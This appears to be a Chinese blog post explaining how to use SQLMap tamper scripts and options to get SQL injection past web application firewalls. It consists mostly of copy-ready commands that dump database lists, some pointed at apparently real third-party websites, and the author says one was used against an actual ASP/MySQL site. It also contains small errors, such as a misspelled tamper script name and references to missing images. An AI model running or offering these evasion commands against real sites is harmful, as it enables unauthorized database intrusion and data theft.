WAF(web應用防火牆)逐漸成為安全解決方案的標配之一。正因為有了它,許多公司甚至已經不在意web應用的漏洞。遺憾的是,並不是所有的waf都是不可繞過的!本文將向大家講述,如何使用注入神器SQLMap繞過WAFs/IDSs。 svn下載最新版本的sqlmap svn checkout https://svn.sqlmap.org/sqlmap/trunk
自己常用的SQLMAP的幾個WAF繞過方法
1.WAF/IPS/IDS identified as 'ASP.NET RequestValidationMode (Microsoft)'
sqlmap -u "http://member.niceloo.com/Project/ClassSearch.aspx?KeyWord=消防" --hpp -v 3 --tamper "charunicodeencode.py,charencode.py" --thread 10 --dbs
2.WAF/IPS/IDS identified as 'Generic (Unknown)'
sqlmap -u "http://66123123.com/Goods/GoodsSearch?keyword=復印紙" --hpp -v 3 --tamper "charunicodeencode.py,charencode.py,space2comment.py" --random-agent --flush-session --hex --dbs --thread 10
3.pace2morehash.py會幫助到你來“打亂”方法函數以繞過WAF的檢測。
sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms "MySQL" --technique U -p id --batch --tamper "pace2morehash.py"

由上圖我們可以看到,請求中的空格被替換為URL編碼后的%23randomText%0A 而CHAR(), USER(),CONCAT() 這種函數被替換為FUNCTION%23randomText%0A()
4.兩個空格替換腳本:space2mssqlblank.py and space2mysqlblank.py,如下圖

5.charencode.py andchardoubleencode.py是兩個用來打亂編碼的tamper腳本,他們在繞過不同的關鍵詞過濾時很有作用。

6.如果web應用使用asp/asp.net開發,charunicodeencode.py和percentage.py可以幫助你逃避Waf的檢測。

以上列舉了一部分有代表性的tamper腳本來幫助我們繞過waf,每個腳本都有自己的使用場景,還是需要靈活使用。
7.自己繞過某IIS下ASP+Mysql數據庫的站點曾使用過的sqlmap的tamper
sqlmap.py -r 1.txt -p productid --level 5 --risk 3 --hpp -v 3 --tamper charunicodeencode.py,percentage.py --flush-session --hex --dbs
